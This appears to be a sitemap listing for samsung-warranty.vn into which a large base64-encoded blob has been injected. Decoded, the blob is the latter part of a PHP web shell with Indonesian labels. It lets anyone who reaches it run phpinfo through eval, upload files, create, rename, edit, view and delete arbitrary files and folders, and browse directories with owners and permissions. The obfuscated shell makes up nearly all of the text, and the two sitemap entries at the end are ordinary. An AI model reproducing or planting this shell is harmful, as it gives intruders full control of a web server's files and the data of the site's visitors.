B0Ij4KCQk8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KCQkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT5UaWRhayBhZGEgaGFzaWw8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+JzsKZW5kaWY7Cn0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsKCUBvYl9zdGFydCgpOwoJQGV2YWwoInBocGluZm8oKTsiKTsKCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOwoJQG9iX2VuZF9jbGVhbigpOwkKCSRhd2FsID0gc3RycG9zKCRidWZmLCI8Ym9keT4iKSs2OwoJJGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7CgllY2hvICI8Yj48cHJlIGNsYXNzPSdwaHBfaW5mbyBhbnUnPiIuc3Vic3RyKCRidWZmLCRhd2FsLCRha2hpci0kYXdhbCkuIjwvcHJlPjwvYj4iOwoJZXhpdDsKfQppZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsndXBsJ10pKXsKCSRoYXNpbCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKCWZvcigkaXNpPTA7JGlzaTwkaGFzaWw7JGlzaSsrKXsKCQkkbmFtYWZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXVskaXNpXTsKCQkJJHVwID0gQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddWyRpc2ldLCIkcGF0aC8iLiRuYW1hZmlsZSk7CgkJfQoJCWlmKCRoYXNpbCA8IDIpewoJCQlpZigkdXApewoJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkbmFtYWZpbGUgb2shICIub2soKS4iPC9kaXY+IjsKCQl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX1lbHNlewoJZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJGhhc2lsIG9rISAiLm9rKCkuIjwvZGl2PiI7Cgl9Cn0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlW10nIG11bHRpcGxlPScnICRfcj4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CgkJPC9kaXY+Cgk8L2Zvcm0+CjwvZGl2PiI7Cn0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGViYXJ1J10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsnYmlraW4nXSkpewoJJG5hbWUgPSAkX1BPU1RbJ25hbWFfZmlsZSddOwoJJGlzaV9maWxlID0gJF9QT1NUWydpc2lfZmlsZSddOwoJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWFfZmlsZSl7CgkJJGhhbmRsZSA9IEBmb3BlbigiJG5hbWFfZmlsZSIsICJ3Iik7CgkJaWYoJGlzaV9maWxlKXsKCQkJJGJ1YXQgPSBAZndyaXRlKCRoYW5kbGUsICRpc2lfZmlsZSk7CgkJfWVsc2V7CgkJCSRidWF0ID0gJGhhbmRsZTsKCQl9Cgl9CglpZigkYnVhdCl7CgkJZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPkJ1YXQgZmlsZTwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZmlsZVtdJyBwbGFjZWhvbGRlcj0nTmFtYSBmaWxlJyAkX3I+CgkJPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBJc2kgZmlsZToKCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIG5hbWU9J2lzaV9maWxlJyByb3dzPSc3JyBwbGFjZWhvbGRlcj0nSXNpIGZpbGUnICRfciA+PC90ZXh0YXJlYT4KCQk8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmlraW4nIHZhbHVlPSdidWF0Jz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+IjsKfQppZihpc3NldCgkX0dFVFsnZGlyYmFydSddKSkgewplY2hvICIkX3MiOwppZihpc3NldCgkX1BPU1RbJ2J1YXQnXSkpewoJJG5hbWEgPSAkX1BPU1RbJ25hbWFfZGlyJ107Cglmb3JlYWNoICgkbmFtYSBhcyAkbmFtYV9kaXIpewoJCSRmb2xkZXIgPSBwcmVnX3JlcGxhY2UoIihbXlx3XHNcZFwtX34sOzpcW1xdXChcXS5dfFtcLl17Mix9KSIsICcnLCAkbmFtYV9kaXIpOwoJCSRmZCA9IEBta2RpciAoJGZvbGRlcik7Cgl9CglpZigkZmQpewoJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgkJZWNobyAnPHN0cm9uZz5CdWF0IGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZm9sZGVyJz48L2k+IE5hbWEgZGlyOgoJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgoJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZGlyW10nIHBsYWNlaG9sZGVyPSdOYW1hIGRpcicgJF9yPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnVhdCcgdmFsdWU9J2J1YXQnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwoJfQp9Ci8vIGFraGlyIHRvb2xzCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPGJyPjxiPm5hbWUgOiA8L2I+Ii5iYXNlbmFtZSgkX0dFVFsnZmlsZXNyYyddKTsiPC9icj4iOwplY2hvICcKPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgoJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEycHg7Ij48Y29kZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L2NvZGU+PC9wcmU+Cgk8L2Rpdj4KPC9kaXY+JzsKfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdoYXB1cycpewplY2hvICc8YnI+PGI+bmFtZSA6IDwvYj4nLmJhc2VuYW1lKCRfUE9TVFsncGF0aCddKTsnPC9icj4nOwovLyBmaWxlCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2dhbnRpX25hbWEnKXsKaWYoaXNzZXQoJF9QT1NUWyduYW1hX2JhcnUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmFtYV9iYXJ1J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKZWNobyAnPHN0cm9uZz5HYW50aSBuYW1hPC9zdHJvbmc+IGdhZ2FsISAnLmVyKCkuJzwvZGl2Pic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25hbWFfYmFydSddOwp9CmVjaG8gJwo8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyI+CgkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIiBuYW1lPSJuYW1hX2JhcnUiIHR5cGU9InRleHQiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImdhbnRpX25hbWEiPgoJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZ2FudGkgbmFtYSIvPgoJPC9kaXY+CjwvZm9ybT4nOwp9IGVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBvayEgJy5vaygpLic8L2Rpdj4nOwoJfWVsc2V7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJwo8ZGl2IGNsYXNzPSJtYi0zIj4KCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIG1iLTMiIHJvd3M9IjciIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KCQk8ZGl2IGNsYXNzPSJkLWdyaWQgZ2FwLTIiPgoJCQk8aW5wdXQgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQiLz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+JzsKCX0KfWVsc2V7Ci8vaGFwdXMgZGlyICYgZmlsZQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2hhcHVzJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJfQp9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpewppZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGZpbGU8L3N0cm9uZz4gZ2FnYWwhICcuZXIoKS4nPC9kaXY+JzsKCQl9Cgl9Cn0KJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKJHBhID0gZ2V0Y3dkKCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIHRleHQtbGlnaHQiPgo8dGhlYWQ+Cjx0cj4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm5hbWU8L3RkPgoJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPmxhc3QgZWRpdDwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+c2l6ZTwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+b3duZXI8Z3I+OjwvZ3I+ZG93bmVyPC90ZD4KCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5wZXJtaXNzaW9uPC90ZD4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm9wdGlvbnM8L3RkPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbm93cmFwIj4KPHRyPgoJPHRkPjxpIGNsYXNzPSJiaSBiaS1mb2xkZXIyLW9wZW4iPjwvaT48YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1zZWNvbmRhcnkiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj4uLjwvYT48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJCTxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZmlsZWJhcnUmcGF0aD0nLiRkaXIuJyI+PGkgY2xhc3M9ImJpIGJpLWZpbGUtZWFybWFyay1wbHVzLWZpbGwiPjwvaT48L2E+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZGlyYmFydSZwYXRoPScuJGRpci4nIj48aSBjbGFzcz0iYmkgYmktZm9sZGVyLXBsdXMiPjwvaT48L2E+CgkJPC9kaXY+Cgk8L3RkPgo8L3RyPic7CmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CgkkZHQgPSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgiJHBhdGgvJGRpciIpKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCSRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkcGF0aC8kZGlyIikpOwoJCSRkb3duZXIgPSAkZG93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZG93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZGlyIik7Cgl9CglpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKSk7CgkJJGRncnAgPSAkZGdycFsnbmFtZSddOwoJfWVsc2V7CgkJJGRncnAgPSBmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKTsKCX0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gIgo8dHI+Cgk8dGQ+PGkgY2xhc3M9J2JpIGJpLWZvbGRlci1maWxsJz48L2k+PGEgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtc2Vjb25kYXJ5JyBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkdDwvdGQ+Cgk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4tPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkb3duZXI8Z3I+OjwvZ3I+JGRncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGdyPic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPHJkPic7CmVjaG8gcCgiJHBhdGgvJGRpciIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2dyPjwvcmQ+PC90ZD4nOwplY2hvICIKCTx0ZCBjbGFzcz1cInRleHQtY2VudGVyXCI+Cgk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJPGRpdiBjbGFzcz1cImJ0bi1ncm91cFwiPgoJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJPGJ1dHRvbiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc21cIiBuYW1lPVwib3B0XCIgdmFsdWU9XCJoYXB1c1wiPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9idXR0b24+CgkJPC9kaXY+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgoJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKCSRmdCA9IGRhdGUoIlktbS1kIEg6aTpzIiwgZmlsZW10aW1lKCIkcGF0aC8kZmlsZSIpKTsKCWlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CgkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRwYXRoLyRmaWxlIikpOwoJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZm93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZmlsZSIpOwoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CgkJJGZncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCIkcGF0aC8kZmlsZSIpKTsKCQkkZmdycCA9ICRmZ3JwWyduYW1lJ107Cgl9ZWxzZXsKCQkkZmdycCA9IGZpbGVncm91cCgiJHBhdGgvJGZpbGUiKTsKCX0KZWNobyAiCjx0cj4KCTx0ZD48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrLWNvZGUtZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+JGZ0PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiIuc3ooZmlsZXNpemUoJGZpbGUpKS4iPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRmb3duZXI8Z3I+OjwvZ3I+JGZncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxncj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8cmQ+JzsKZWNobyBwKCIkcGF0aC8kZmlsZSIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZ3I+PC9yZD48L3RkPic7CmVjaG8gIgoJPHRkIGNsYXNzPVwidGV4dC1jZW50ZXJcIj4KCQk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJCTxkaXYgY2xhc3M9XCJidG4tZ3JvdXBcIj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZWRpdFwiPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9idXR0b24+CgkJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZG93bmxvYWRcIj48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiaGFwdXNcIj48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYnV0dG9uPgoJCQk8L2Rpdj4KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKCX0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSd0ZXh0LXNlY29uZGFyeSc+JmNvcHk7IDw/cGhwIGVjaG8gIiAiLmRhdGUoJ1knKS4iICRfbiI7Pz48L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K')); } }); https://samsung-warranty.vn/post-sitemap.xml 2026-09-02T17:27:31+00:00 https://samsung-warranty.vn/page-sitemap.xml 2025-08-01T04:55:51+00:00